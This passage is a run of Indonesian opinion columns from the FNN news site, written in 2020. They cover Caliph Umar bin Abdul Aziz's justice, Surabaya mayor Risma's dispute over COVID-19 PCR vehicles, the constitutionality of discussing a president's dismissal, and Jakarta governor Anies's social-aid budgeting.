dibiarkan menjadi obyek kejahatan terorisme. Baik itu yang terselubung maupun yang tak terlacak. Kerjasama dan keseriusan untuk membongkar akan mampu membuktikan bahwa kejahatan tak akan bisa mengalahkan kebenaran dan keadilan. "malum non nos vincere poteris veritate et iustitia". Penulis adalah Pemerhati Politik dan Kebangsaan.

Mozaik Virus Keadilan Umar Bin Abdul Aziz

By Dr. Margarito Kamis, SH, M.Hum (Hai Qarun), janganlah engkau terlalu bangga, sesungguhnya Allah tidak menyukai orang-orang yang terlalu membanggakan diri. Dan carilah pada apa yang telah dianugrahkan Allah kepadamu (yaitu) negeri akhirat, dan janganlah melupakan bagianmu dari (kenikmatan) dunia, dan berbuat baiklah, sebagaimana Allah telah berbuat baik kepadamu, dan janganlah engkau berbuat kerusakan (QS. Al-Qashash, ayat 76-77). Jakarta FNN – Senin (01/06). Seisi dunia, dimanapun sedih, terbenam dalam rindu, ratapan dan rintihan tak berdaya. Pergilah wahai corona ke asalmu, entah dimana. Pergilah, entah ke Lauh al Mahfudz, atau dimana pun. Ya aku (corona) akan pergi dan tinggal di batas semesta, entah dimana itu. Percayalah. Aku akan pergi kala pemerintah-pemerintah kalian memiliki ilmu. Bukan pengetahuan, tentang rahasia setiap jiwa, rahasia Dia, tentang takut pada Dia, tentang rahasia Al-Fatihah, tentan sabar, ihlahs, qana’a, tentang syukur, tentang kesetaraan, tentang indahnya keberpihakan pada fakir, dan lainnya. Percayalah. Sombong, angkuh, bodoh dan sejenisnya masih aku lihat terlilit dileher pemimpin-pemimpin kalian. Mencla-mencle untuk urusan yang telah jelas, masih jadi baju keseharian hidup para pemimpin kalian. Membelokan hukum dengan congkak, terlihat dalam semua aspek kehidupan. Butiran-butiran hikmah kepemimpinan yang baginda Nabi Allah Muhammad Sallallahu Alaihi wa Sallam ukir dengan Nur-nya, yang tak tertandingi, tak kalian ambil. Semuanya kalin biarkan bagai buih. Tak ada yang menangkapnya, apalagi menyelam ke dalam hakikatnya. Itulah payahnya para pemimpin kalian. Kalian aku ingatkan, akan terus begini, sekalipun akau pergi ketika waktunya tiba. Percayalah. Sejauh kalian tak menempuh jalan hati yang menjadi mahkota para pemimpin terdahulu, kuyakinkan kalian kesedihan terus menemani. Tuan Corona, kami pakai demokrasi, apa mungkin menempuh jalan itu? Wahai mahluk manusia, ini tak ada urusan dengan demokrasi, sosialis, atau syariah. Tidak. Ini soal takut pada Allah Subhanahu Wataala, Dia yang Maha Tahu, Maha Adil, dan Maha Bijaksana. Tidakkah kalian tahu itulah jalan Umar Bin Abdul Aziz. Amirul mukminin di kekhalifaan Umayah, dulu. Umar Bin Abdul Aziz Bin Marwan Bin Hakam termasuk salah satu gubernur terbaik Bani Umayyah. Umar, Amirul mukminin ini memiliki nasabh hingga ke Sayidina Umar Bin Khattab. Ibundanya, Ummu Ashim binti Ashim bin Umar Bin Al Khattab, anak dari Ashim bin Umar bin Al-Khatab, Al-Faqih Asy-Syarif Abu Amr Al-Quraisy Al-Adawi. Bebas Dalam Berpendapat Tersohor dengan ilmu dan ahlaknya yang indah, seindah pelangi diujung senja. Memberi nasihat berkilauan selaksa kemilau berlian kepada para gubernur. Itulah Umar muda. Sosok hebat ini lahir tahun 63 H (682 Masehi ini). Hebat Amirul Mukmin berada di level itu pada usia yang terbilang belia untuk urusan seberat itu. Amirul Mukminin Umar memerintah setelah Sulaiman Bin Abdul Malik. Ia mulai memerintah pada tahun 717 M. Singkat sekali pemerintahannya. Ia meninggal pada tahun 720 M (semoga Allah Subhanahu Wata’ala selalu merahmatinya dengan Rahimnya) kala pemerintahannya berada di tahun ketiga. Berlian tetaplah berlian. Tiga tahun yang singkat itu menjadi tahun-tahun dengan keadilan begitu gemilang. Naik ke tampuk kekuasaan tanpa meminta. Apalagi pake uang, dan berlutut pada cukong. Tidak mau membungkus dirinya dengan tirik licik, licin, picik, tipu-tipu, khas pemimpin di alam demokrasi punya ambisi memasuki kekuasaan. itulah Amirulmukminin. Tidak ada rekayasa aparat negara menekan orang. Memutarbalikan hukum, dan berjanji lalu mengingkari janji. Laksana fajar yang merekah membuka pagi. Pada pidato sesaat setelah didaulat oleh Sulaiman Bin Abdul Malik, khalifah sebelumnya, membelah kegelapan. Amma ba’du, begitu Amirul Mukiminin mengawali pidatonya. “Sesungguhnya aku diuji dengan jabatan tanpa pernah terpikirkan aku akan memikulnya. Apalagi memintanya dan berdasarkan musyawarah kaum muslimin”. Kebebasan memilih dan berpendapat, berhembus begitu kuat dalam kata “sesungguhnya aku membebaskan kalian untuk membaiat kepada siapa saja. Oleh karena itu, pilihlah orang yang pantas menurut kalian. Seketika itu, tulis Ali Muhammad Ash-Shallabi, masa berteriak serempak “sungguh kami memilih engkau, wahai Amirul Mukminin, dan kami setuju dengan engkau. Oleh karena itu pimpinlah kami dengan adil dan baik”. Pesan refleksif, tapin bukan apokalipstik pun memadati kata demi kata dalam lanjutan pidatonya. Wahai manusia, begitu Amirul tegaskan, siapa yang berteman dengan kami, maka hendaklah ia berteman dengan lima perkara. Jika tidak maka hendaklah ia tidak mendekati kami. Perkara-perkara itu adalah: Pertaman, menyampaikan kepada kami keperluan orang yang tidak dapat menyampaikannya. Kedua, membantu kami dalam kebaikan dengan sekuat tenaga. Ketiga, menunjukan kebaikan kepada kami. Keempat, tidak menyebut kejelekan rakyat di dekat kami. Kelima, tidak melakukan hal-hal yang tidak berguna. Aku pesankan kepada kalian agar selalu bertakwa kepada Allah. Tak takwa adalah pengganti segala sesuatu dan tidak ada sesuatu pun pengganti takwa. Perindahlah bathin kalian, niscaya Allah Yang Maha Mulia pasti membaguskan lahir kalian. Perbanyaklah mengingat mati, dan bersiap-siaplah sebelum kematian mendatangimu. Kematian adalah penghancur kelezatan. Mengadili Dirinya Sendiri Terang-terangan Amirul Mukinin memahat sekali lagi “kebebasan memilih pemimpin dan kebebasan berpendapat, ”pada episode paling awal ini. Tone-nya meninggi, katanya, wahai manusia, siapa yang taat kepada Allah Subhanahu Wata’ala, maka wajib menaatinya. Sebaliknya, siapa yang maksiat kepada Allah, maka tidak ada taat padanya. Taatlah kalian kepadaku, selama aku taat kepada Allah. Sabaliknya, apabila aku maksiat kepada Allah, maka tidak ada taat kepadaku dari kalian. Sesungguhnya kota-kota di sekitar kalian, jika penduduknya taat sebagaimana kalian taat, maka aku adalah pemimpin kalian. Jika mereka membangkang, maka aku bukan pemimpin kalian. Menghindari debat tentang agama dan syariat adalah dekorasi indah pemerintahannya. Kebijakan refleksif ini adalah cara Amirul memastikan dirinya hanyalah pelaksana. Baginya syariat telah jelas menghalalkan apa yang halal menurut Allah, dan mengharamkan apa yang haram menurut Allah. Lima sebab diatas, ia sodorkan sebagai panduan relasi dirinya dengan siapapun. Amirul Mukmin konsisten di titik itu. Manusia juga diingatkan untuk mengetahui hal-hal buruk, dan mengingat kematian. Lugas ia berjanji tak akan memberikan kepada seseorang secara bathil dan tak akan menahan hak orang. Musyawarah dengan para ahli menjulang disepanjang pemerintahannya. Keadilannya mengalir menyentuh semua aspek hidup rakyatnya. Ia menyamakan dirinya dengan semua rakyatnya. Kesamaan derajat, yang didunia barat baru diusahakan secara perlahan-lahan pada abad ke-13, ia alirkan ke semua orang. Islam maupun non Islam. Yang penting rakyatnya. Keadilan ia alirkan dari dua firman Allah Subhanahu Wata’ala berikut. Dua firman itu adalah “sesungguhnya Allah menyuruh (kamu) berlaku adil dan berbuat kebajikan” (Al-Qur’an, An-Nahl: 90). “Dan wahai orang-orang beriman, jadilah kamu orang-orang yang benar penegak keadilan, menjadi saksi karena Allah biarpun terhadap dirimu sendiri atau ibu bapak dan kaum kerabatmu. Jika ia (orang yang tergugat) kaya ataupun miskin, maka Allah lebih tahu kemaslahatannya. Maka janganlah kamu mengikuti hawa nafsumu, karena ingin menyimpang dan dari kebenaran. Dan jika kamu memutar balikan (kata-kata) atau enggan menjadi saksi, maka sesungguhnya Allah adalah Maha Mengetahui segala apa yang kamu kerjakan” (Al-Qur’an Ann-Nisaa; 135). Memukau, Umar menghiudpkan semua isi pidatonya dengan mengadili dirinya sendiri begitu memulai pemerintahan. Hasilnya semua harta yang dimilikinya sebelum jadi khalifah dilepas. Amirul Mukminin membekali hidup dirinya dan keluarganya hanya dengan dua dirham. Bawahannya ia pandu dengan pesan “hanya mempekerjakan orang berilmu”. Kepada mereka, Amirul memerintahkan memberi makan orang-orang yang hendak berhaji. Buatlah rumah makan di daerah, sehinga siapa saja kaum muslim yang lewat dijamu makan sehari semalam. Juga rawatlah binatang kendaraan mereka. Tak tertandingi untuk ukuran seprogresif apapun pada saat ini. Dia perintahkan Gubernur di Irak untuk memperbaiki pagar rumah seorang ibu, Dzi Asbah, yang dirusak seseorang. Begitu ia dilapori bahwa seorang rakyatnya ditawan penguasa Romawi di Konstantinopel, Amirul Muminin juga segera mengirim utusannya menjumpai raja Romawi. Takdir tak mengenal waktu, dan orang. Sakaratulmaut tak mengenal usaha pemimpin. Ketika utusannya jumpa Raja Romawi, dan sang raja menyetujui melepaskannya, ternyata orang itu telah meninggal dunia. Kebaikan orang itu meluluhkan Raja, tapi maut telah mendahuluinya. Kecintaan Kepada Rakyatnya Disisi indah lainnya, Amirul Mukminin perintahkan gubernurnya membayar hutang rakyat. Terus saja bersinar dengam keadilan. Pemerintahnya beri sumbangan kepada orang-orang yang dipenjara. Ia juga mendatangi untuk mengetahui apakah ada orang yang fakir. Bismillahirrahmanirrahim, begitu kalimat pembuka salah satu suratnya kepada Adiy bin Artha’ah dan kepada kaum muslimin. Aku katakan kepada kalian bahwa aku hanya sebagai hamba Allah, Tidak ada Tuhan selain Dia. Amma ba’du, parhatikanlah orang-orang dari ahlu dzimmah dan bersikaplah yang lembut kepada mereka. Apabila ada seseorang di antara mereka, begitu isu suratnya, telah dewasa namun tidak memiliki harta, maka berilah bantuan kepadanya. Apabila ia memiliki kerabat, maka perhatikanlah kerabatnya itu dan berilah mereka nafkah. Tak ada waktu yang mampu menyempitkannya, Umar mengunjungi mereka. Apabila mereka memberikan sayuran, Umar akan membayarnya. Bila mereka tidak mau menerima, Umar tidak akan pergi sampai mereka menerimanya. Sungguh terlalu indah untuk dilupakan, terlalu manis untuk dikesampingkan. Dirinya dan keluarganya tampil dengan pakain yang lusuh. Masa Allah, ketika seorang Ibu dari Irak mendatanginya melaporkan keadaan hidupnya, si ibu menemukan Amirul Mukminin sedang bekerja membereskan rumahnya, yang reot. Dikiranya tukang batu, ternyata dialah sang Amirul Mukminin. Dengan kelembutan yang membalut seluruh dirinya, ia meminta dengan lembut sang Ibu menyampaikan masalahnya. Kata si ibu, saya meminta tolong Amirul Mukminin memperbaiki rumah saya. Ternyata rumah Amirul Mukmin seperti ini. Tak usahlah. Tapi kasih sayang Amirul Mukminin bicara. Membekali kepergian pulang si ibu dengan sepucuk surat untuk disampaikan ke gubernur. Begitu surat diberikan ke gubernur, gubernur memberitahu ibu itu bahwa Amirul Mukminin telah pergi, kembali keharibaan untuk selamanya (semoga Allah yang Maha Rahim melimpahkan kepadanya nikmat yang tak terkira). Insya Allah. Amirul Mukminin meninggalkan anak-anaknya dalam keadaan fakir. Masya Allah. Dari sela-sela linangan air matanya menjelang sakaratul maut, perlahan kata-kata terakhirnya mengalir menuju anak-anaknya. “Wahai anak-anakku, aku meninggalkan kalian dalam keadaan miskin, tak punya apa-apa.” Basah lagi pipi salehnya disela kata “wahai anak-anaku, aku telah tinggalkan kebaikan yang sangat banyak untuk kalian.” Apabila kalian bertemu dengan salah satu dari kaum muslimin di jalan, atau kalian bertemu dengan ahlu dzimmah, maka kalian akan melihat sendiri kebaikan itu.” Pembaca FNN yang budiman, indah keadilannya membuat seorang ahlu dzimmah mau menyerahkan tanahnya secara gratis untuk Amirul Mukminin, untuk dijadikan tempat pemakaman dirinya. Tapi Amirul Mukminin menolak, sembari mengatakan andai engkau tak mau, maka aku tak mau dimakamkan di tanah ini. Luluh, karena cintanya kepada Amirul Mukimin, dia mau menerimanya. Di tanah inilah Amirul Mukminin dimakamkan. Ia meninggalkan uang 14 dinar untuk anak-anaknya yang berjumlah 16 orang. Amirul Mukminin pergi untuk selamanya ke hakharibaan dalam usia 39 tahun. Sungguh kebesaran keadilan pemerintahannya memukau. Meluluhkan semua orang. Kesedihan pun memeluk Raja Romawi, yang kala itu sedang menerima utusannya. Dialah yang memberitahu sang utusan, bawah Amirul Mukminin telah wafat. Anggun dengan keadilan. Memukau dengan ketulusan dan keihlasan. Bersinar di lintasan syukur dan takut pada Dia Yang Maha Adil, begitulah Umar Bin Abdul Azis. Begitulah bang Amirul Mukminin ini hingga akhir hayatnya. Pemimpin zaman now? He he berjarak jutaan mile darinya. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate.

Amarah Risma: Akibat Lemah Koordinasi dengan Pemprov!

Oleh Mochamad Toha Jakarta, FNN - Amarah Walikota Surabaya Tri Rismaharini yang videonya viral di berbagai media, Jum’at, 29 Mei 2010, itu seharusnya tak perlu ditampakkan di muka umum. Dia bisa saja cari tempat lain, aman dari sorotan dan rekaman kamera wartawan. Sebab, kemarahan terkait bantuan 2 unit mobil Polymerase Chain Reaction (PCR) dari Badan Nasional Penanggulangan Bencana (BNPB) yang, konon, diserobot Gugus Tugas Percepatan Penanganan Covid-19 Jatim itu bisa disalah-artikan warga. Terutama warga Surabaya yang die hard pada Risma. Apalagi, tudingan Risma itu ditujukan kepada GTPP Covid-19 Jatim yang berada di bawah kendali Gubernur Jatim Khofifah Indar Parawansa. Hal ini juga bisa memancing reaksi Khofifah. Risma berbicara dengan nada keras. Risma mengamuk karena dua mobil PCR bantuan dari BNPB untuk Surabaya justru diserobot Gugus Tugas (Gugas) Covid-19 Jatim dan dialihkan ke daerah lain. Dalam video berdurasi 52 detik itu, Risma tampak sedang duduk menelpon seseorang dari dalam sebuah tenda, Jumat 29 Mei 2020. Mengenakan rompi hitam dan kaos merah dan berjilbab merah, Risma duduk dan dikelilingi beberapa anak buahnya. Melansir Vivanews.co.id, Jumat (29 Mei 2020 | 16:47 WIB), Risma terlihat betul-betul marah dengan pengalihan dua mobil BNPB untuk warga Surabaya yang dialihkan ke daerah lain itu. Tidak jelas dengan siapa ia berbicara di telepon genggam. Mengetahui bahwa 2 mobil PCR permintaannya diserobot Gugas Covid-19 Jatim, Risma pun melaporkan langsung pada Kepala BNPB Doni Monardo, pihak yang dimintai bantuan secara langsung oleh Risma. “Dapat sms, dapat WA-nya pak Joni, Kohar. Kalau itu untuk Surabaya. Opo opoan (Apa-apaan) gitu lo pak, kalau mau boikot jangan gitu pak caranya,” ungkap Risma dengan nada emosional dalam percakapan di telepon genggam itu. “Saya akan ngomong ini ke semua orang. Pak, saya ndak terima lo pak. Betul saya ndak terima pak. Saya dibilang ndak bisa kerja. Siapa yang ndak bisa kerja sekarang,” kata Risma berang. Yang sangat menarik perhatian tentunya saat Risma juga dengan lantang menyebut dua nama petinggi PDIP yang kini menjabat di pemerintahan, pusat yakni Puan Maharani (Ketua DPR-RI) dan Pramono Anung (Sekretaris Kabinet). “Kalau mau ngawur nyerobot gitu. Siapa yang ndak bisa kerja. Boleh dicek ke Pak Pramono Anung. Boleh ditanya ke Mbak Puan,” tegas Risma. Kepada wartawan, Risma membeberkan bukti chatting dirinya dengan Kepala BNPB Doni Monardo soal permintaan bantuan mobil PCR secara khusus untuk warga Surabaya. “Teman-teman lihat sendiri kan, ini bukti permohonan saya dengan pak Doni, jadi ini saya sendiri yang memohon kepada beliau. Kasihan pasien-pasien yang sudah menunggu,” kata Risma. Koordinator Bidang Pencegahan Gugus Tugas Percepatan Penanganan Covid-19 Surabaya Febria Rachmanita atau Fenny menjelaskan, sebetulnya pada Kamis kemarin, 28 Mei 2020, Surabaya sudah akan dibantu mobil laboratorium itu. Awalnya disebut akan langsung dipergunakan untuk pasien yang menjalani karantina di Asrama Haji Surabaya di Sukolilo dan Dupak Masigit yang di situ ada warga Krembangan Selatan. “Jadi, bantuan dari BNPB itu dua unit mobil laboratorium dan sudah kami tentukan titik-titiknya selama mobil itu berada lima hari di Kota Surabaya. Masing-masing titik itu kami siapkan 200 orang untuk dilakukan tes swab,” ungkapnya. Menurut Fenny, mereka itu yang belum dites swab dan waktunya swab ulang, “supaya cepat selesai penanganannya,” katanya kepada wartawan. Siapa yang bilang kalau 2 mobil dari BNPB itu yang mengajukan Pemkot Surabaya? Konon, mobil PCR itu realisasi pada, Rabu, 27 Mei 2020 atas pengajuan Pemprov Jatim pada Senin, 11 Mei 2020. Pemprov Jatim memang sedang memutar kerja dua unit Mobil mesin PCR dari Pemerintah Pusat melalui BNPB ke sejumlah daerah. Satu unit mobil mesin PCR bernopol B 7190 TDB dari BNPB, itu diserahterimakan BNPB pada Gugus Kuratif Covid-19 ke Pemprov Jatim di halaman Rumah Sakit Lapangan Covid-19 Pemprov Jatim, Jl. Indrapura No. 17 Surabaya, Rabu (27/5/2020) siang. Sedangkan, satu unit mobil mesin PCR lainnya diterima Kamis (28/5/2020). Usai diserah- terimakan, dua unit Mobil Mesin PCR tersebut langsung dioperasionalkan di Asrama Haji Surabaya serta RSUD Sidoarjo. Dan mobil mesin PCR juga akan difungsikan sebagai mobile laboratorium untuk daerah-daerah yang membutuhkan di Jatim. Surabaya dan Sidoarjo mendapat layanan pertama. Kemudian, kedua mobil itu akan melayani masyarakat Lamongan dan Tulungagung. Gubernur Khofifah menyampaikan terima kasihnya kepada BNPB yang terus mendukung Jatim untuk melakukan percepatan-percepatan dalam penanganan Covid-19. “Alhamdulilah, kami kembali mendapat bantuan dari BNPB, berupa dua unit mobil mesin PCR. Bantuan ini penting, karena saat ini kebutuhan mesin PCR test untuk swab memang yang paling dibutuhkan karena validitasnya paling tinggi,” ujar Khofifah, seperti dilansir Duta.co, Kamis (29/5/2020). Menurut politisi PAN Mila Machmudah Djamhari, kemarahan Risma itu justru menunjukkan arogansi dia yang tidak tunduk pada birokrasi. Sah-sah saja bila dia berkomunikasi langsung dengan BNPB atau pun Presiden. “Tetapi untuk koordinasi tetap ada aturannya. Sudah seharusnya Risma berkoordinasi dengan Gubernur terkait kebutuhan penanganan kasus Covid-19 di Surabaya. Bila Risma langsung koordinasi dengan Pusat mana Provinsi mengetahui rencana kerja Surabaya,” tegasnya. Kota dan Kabupaten lain selalu berkoordinasi sehingga Provinsi mengetahui kebutuhan dan rencana kerja mereka. “Salah besar bila Risma menuduh Provinsi memboikot kerja Risma karena Surabaya tidak berkoordinasi dengan Provinsi,” tegas Mila. “Risma tidak berhenti playing victim. Arogansi dia, ketidakpatuhan dia berkoordinasi dengan Pemprov sudah menyebabkan berkembang pesat penularan covid-19 di Surabaya,” lanjutnya. Mila mencontohkan, Malang Raya dengan kasus awal yang kurang lebih sama dengan Surabaya, ternyata berhasil mengendalikan perkembangan kasus Covid-19. “Bahwa benar kasus di Surabaya cukup tinggi karena banyak dilakukan test. Tapi yang perlu diingat, salah satu penyebab dilakukan ribuan test di Kota Surabaya karena kegagalan Risma mengendalikan kasus di PT HM Sampoerna yang dirahasiakannya,” ungkap Mila. Menurut Mila, salah besar melihat 2 emak itu sebagai sebuah persaingan. Ini hanya masalah ada yang tidak mau diatur. Khofifah sudah menjadi Menteri ketika Risma masih kepala Seksi di Pemkot Surabaya. Khofifah memiliki massa lebih besar dari Risma. Khofifah menjabat Ketua Umum Muslimat se-Indonesia. Khofifah pun bukan hanya memiliki back up politik yang cukup kuat tetapi juga back up ulama. “Secara kapasitas dan kredibilitas Khofifah juga tidak diragukan. Kemampuan komunikasi dan pengendalian emosi sudah sangat jelas Khofifah juaranya,” ungkap Mila. Menurutnya, Risma sepertinya memang bakal sering ribut gara-gara mispersepsi. Ternyata, mobil PCR dari Badan Intelijen Negara (BIN) itu bukan diberikan pada Pemkot Surabaya, teapi BIN yang menyelenggarakan kegiata tes Covid-19. “Jadi kelar giat mobil akan dibawa kembali oleh BIN. Rencananya BIN akan melakukan tes Covid-19 massal selama 4 hari di Surabaya,” ungkap Mila. Giat BIN ini bukan hanya rapid test saja, tapi juga PCR dengan menggunakan peralatan dari Korea Selatan yang paling lama 2,5 jam hasilnya sudah diketahui. Jadi, yang test tidak perlu harus menunggu di hotel 3 hari. Sehari juga kelar. Pelibatan BIN dalam penanganan Covid-19 ini dinilai Mila bagus. Jadi yang terkonfirmasi positif akan dilakukan contact tracing pada yang bersangkutan. Perselisihan antara Risma dengan Khofifah ini tidak akan melahirkan pemenang. Yang terjadi justru bakal melahirkan tumpukan pasien Covid-19 di Surabaya. Risma dan Khofifah jangan larut berselisih. Karena itulah yang diharapkan para petualang politik. Mereka sukses mengadu-domba kedua Srikandi Jatim tersebut. Penulis Wartawan Senior

Diskusi Tentang Memecat Presiden Itu Bukan Makar

By M. Rizal Fadillah Jakarta FNN – Ahad (31/05). Agenda seminar atau diskusi online bertema "Persoalan Pemecatan Presiden Di Tengah Pandemi Ditinjau dari Sistem Ketatanegaraan" yang diselenggarakan mahasiswa UGM menjadi gonjang-ganjing. Reaksi mulai dari pendapat yang menyatakan bahwa kegiatan tersebut makar hingga teror yang terjadi pada Panitia maupun Narasumber Prof. DR. Ni'matul Huda, SH M. Hum dari Universitas Islam Indonesia (UII). Kutukan, kecaman dan marah terhadap teror tersebut datang dari mana-mana. Pernyataan sikap Asosiasi Pengajar Hukum Tata Negara (HTN) dan Hukum Administrasi Negara (HAN), Asosiasi FilsafatHukum Indonesia, Serikat Pengajar HAM, Kaukus Indonesia untuk Kebebasan Akademik, dan Asosiasi Dosen Perbandingan Hukum Indonesia telah menyatakan "Mengutuk Keras Tindakan Teror Terhadap Insan Akademik & Penyelenggaraan Diskusi Di Jogyakarta". Kajian akademik soal pemecatan Presiden bukan hal yang tabu. Apalagi terlarang termasuk di masa pandemik. Sepanjang aturan Konstitusi mengatur persoalan pemecatan Presiden, maka kajian tersebut menjadi sah sah saja. Karena hal itu merupakan bagian dari "enlightenment" dalam dunia akademik. Jangankan di lingkungan akademik, di masyarakat pun hal yang wajar. Adanya diskursus soal pemecatan Presiden bukan barang haram. Toh itu adalah bagian dari sistem ketatanegaraan kita. Sejarahpun pernah mencatat soal terjadinya pemecatan terhadap Presiden. Yang tidak boleh adalah menghentikan memberhentikan Presiden dengan paksa oleh kelompok masyarakat. Jika disalurkan melalui DPR misalnya, lalu DPR membuat keputusan tentang pemecatan Presiden. Setelah diuji di Mahkamah Konstitusi, maka desakan agar Presiden dipecat itu sah sah saja. Konstitusi kita melindungi rakyat untuk berbicara tentang soal itu. Pasal 7A UUD 1945 dengan tegas mengatur baik syarat maupun prosedur pemecatan Presiden. Karenanya sangat konstitusional. Mereka yang melakukan simplifikasi dengan menggunkan bahasa makar, apalagi melakukan terror, jelas nyata-nyata merupakan perilaku menyimpang. Prilaku itu dapat dikategorikan sebagai perbuatan melawan hukum. Aparat penegak hukum harus mengejar dan menangkap pelaku teror tersebut. Mereka harus diproses secara hukum untuk pertanggungjawabkan perbuatan terornya. Apalagi mencatut nama-nama ormas Islam segala. Pelaku kriminal bergaya adu domba PKI harus dihukum berat. Sungguh sangat wajar pembelaan masyarakat akademik atas terjadinya teror dan kebodohan ilmiah ini. Jangankan sekedar diskusi, pemecatan sebenarnya Presiden juga adalah sah. Sepanjang dilakukan oleh DPR diproses MK dan ditetapkan MPR. Jadi tidak ada yang harus dimasalahkan atau dikasuskan. Bila memang Presiden nyata-nyata melakukan penghianatan kepada ideologi negara. Juga melakukan kejahatan berat, serta perbuatan tercela, UUD 1945, maka Presiden bisa untuk dipecat. Gerakan moral kampus memang ditunggu publik. Rakyat butuh "guidance" dalam menghadapi iklim politik yang dirasakan semakin membahayakan stabilitas nergara. Korupsi, penyalahgunaan kekuasaan, rong-rongan terhadap ideologi negara, hingga penunggangan pandemi Covid 19 tidak boleh dibiarkan. Selain itu, ada masalah lain. Masuk TKA China, naiknya iuran BPJS sebelumnya sudah dibatalkan oleh Mahkamah Agung, dan tidak turunnya harga jual BBM di tengah kesulitan rakyat akibat pandemi Covid 19. Mereka para pemanfaat dan penikmat kekuasan mesti diingatkan dan diluruskan. Rakyat tidak boleh sampai dipinggirkan dan ditindas, apalagi diperbudak. Gerakan kemerdekaan di masa penjajahan dulu dimotori oleh kaum intelektual. Perubahan sosial dan politik diawali oleh keresahan lapisan strategis ini. Kini pernyataan soal makar atau tindakan teror ke lingkungan akademik harus dilawan dan diprotes keras. Kampus memiliki kebebasan akademik yang dilindungi oleh Undang Undang dan Konstitusi. Sepanjang sesuai dengan koridor aturan hukum ketatanegaraan, maka diskusi terbuka mapun tertutup tentang memecat Presiden itu bukanlah makar. Sangat sangat dan sangat konstitusional ! Penulis adalah Alumnus Fak. Hukum UNPAD Jurusan Hukum Tata Negara.

Lindungi Warga DKI, Anies Pasang Badan

By Tony Rosyid Jakarta FNN – Ahad (31/05). Ekonomi dunia collaps. Termasuk Indonesia. Tidak hanya di tingkat nasional, tetapi kondisi ini juga dirasakan oleh semua daerah. Pajak sebagai andalan pendapatan, turun sangat drastis. Wisata, restoran, tambang, properti, dan hampir semua bisnis ambruk. Otomatis, nggak ada pembayaran pajak. Anggaran negara jebol. Begitu juga anggaran daerah. Covid-19 memporakporandakan semuanya. Tak terkecuali DKI. APBD yang semalu Rp. 87,9 triliun, tekor menjadi hanya tingga Rp. 47,2 triliun. Gara-gara corona. Minimnya pemasukan, berakibat Gubernur DKI tagih Dana Bagi Hasil (DBH) ke Kementerian Keuangan. Sudah seharusnya begitu. Namanya juga hutang, mesti ditagih. Apalagi, DKI lagi butuh. Untuk KJP. Untuk bansos. Untuk atasi covid-19. Untuk selamatkan nyawa dan dampak ekonomi warga DKI. Menteri keuangan berkelit. Sejumlah menteri ikutan jadi tim penyerang. Nama BPK diseret-seret. Tak terima dilibatkan dalam DBH DKI, BPK berteriak. Ape urusannya sama gue? Kira-kira seperti itu kalau pinjam bahasa gaul betawi. Akhirnya, dibayar separo. Penagihan sukses. Sisanya? Nanti dicicil. Maklum, negara dalam keadaan susah. Harus saling memahami. Mau nyicil aja muter kesana kemari. Gerutu warga DKI. Hus, sabar. Nggak usah dilanjutin komennya. Sudah susah bayar utang, nggak usah dikasih komen macem-macem. Kasihan. Jangan tambah beban orang yang lagi sulit. Do’ain aja. Ini aja sudah lumayan. Mau nyicil. Ada i'tikat baik. Niat bayar hutang. Anies lega, meski harus terima bullyan dulu sebelum dibayar. Selama itu dilakukan demi rakyat, bullyan serasa lezat. Saatnya kencangkan sabuk anggaran. Pangkas pengeluaran yang tidak terlalu mendesak. Sortir sana-sini, prioritaskan kegiatan yang urgent. Tentu, kebutuhan untuk rakyat harus paling utama. Ini prinsip yang selama ini jadi pegangan gubernur DKI. Mengatasi covid-19, baik untuk anggaran kesehatan, maupun untuk tangani dampak ekonominya, butuh dana cukup besar. Yang jadi persoalan sesungguhnya bukan berapa besar kebutuhannya. Tapi persoalannya justru pada minimnya pemasukan. Pajak jauh merosot. Di DKI, pendapatan pajak yang semula Rp.50,17 triliun, turun jadi Rp. 22,5 triliun. Tinggal 45 persen saja. Sebab, dunia usaha sekarat. Tapi, lagi-lagi, demi selamatkan nyawa rakyat, demi ketahanan ekonomi rakyat, tak ada alasan untuk tidak melindungi rakyat. Baik ketahanan pangannya, terutama nyawanya. Meski anggaran terbatas, tak ada pegawai honorer DKI yang di-PHK. Sebanyak 120.000 pegawai PJLP dipertahankan. Ini tanggung jawab pemprov DKI untuk tetap membuka lapangan kerja. Dana bansos yang semula 188 M, dinaikkan jadi 5 T. Dengan penduduk paling sedikit di pulau Jawa, dibanding Jawa Timur, Jawa Tengah, Jawa Barat dan Banten, tapi anggaran DKI paling besar. Belum ditambah operasi Baznas DKI yang membantu program bantuan sosial dengan anggaran ratusan miliar. Hingga satu waktu, sampailah Anies pada satu titik dilematis. Ada dana Rp. 2 tiliun. Ini mau dialokasikan untuk bansos bagi 1,2 juta warga prasejahtera, atau untuk "Tunjangan Kinerja Daerah" (TKD) pegawai DKI. Sangat dilematis. Pegawai tentu ingin TKD-nya dibayar penuh. Kalau kepotong, bini bisa ngamuk. Terutama bini simpanan. Emang ada? Kalau ada, lu juga nggak bakal tahu. Namanya juga simpanan. Anak-anak rentan protes, karena uang jajannya berkurang. Rencana beli ini-itu bisa batal. Potong "TKD" pegawai, berpotensi melahirkan kekecewaan. Semangat kerja bisa kendor. Tapi, mosok sih mau korbankan warga DKI dengan memotong anggaran bansos untuk 1,2 juta warga prasejahtera? Bagaimana menurut para pegawai? Kalau bisa, "TKD" jangan dipotong. Kalau dipotong, ya jangan banyak-banyak. Artinya, pegawai merekomendasikan potong juga jatah untuk bansos. Bagi-bagilah... katanya. Hadapi rekomendasi ini, Anies tersenyum. Lalu dengan lirih gubernur DKI ini bicara: "diantara kedua pihak yaitu pegawai dan 1,2 juta warga prasejahtera, mana yang lebih membutuhkan? Pegawai? Atau 1,2 juta warga prasejahtera itu?" Para pegawai, terutama elit strukturalnya, terdiam. "ini soal moral", lanjut Anies. Suara lirih Anies rupanya menyentuh hati anak buahnya. Akhirnya, pegawai pun sepakat untuk diberikan hanya 50 persen TKD-nya. Dan 1,2 juta warga prasejahtera DKI terima bansos. "Utuh" . Tidak ada pemotongan. Ini hanya soal kepekaan, social morality dan seni bagaimana memimpin. Menghargai dan tetap mengedepankan dialog. Meski dengan anak buah. Dan rakyat, terutama penerima bansos, harus memberikan apresiasi kepada seluruh pegawai Pemprov DKI. Mereka rela dipotong 50 persen TKD-nya untuk bansos. Ternyata, bukan hanya dokter dan tenaga medis yang layak disebut pahlawan di masa pandemi covid-19 saat ini. Tapi, gelar pahlawan pantas juga disematkan kepada para pegawai Pemprov DKI. Kalian TOP. Pakai huruf kapital semua. Meski dipotong 50 persen, TKD pegawai DKI masih tergolong besar. Kira-kira, sama besarnya dengan take 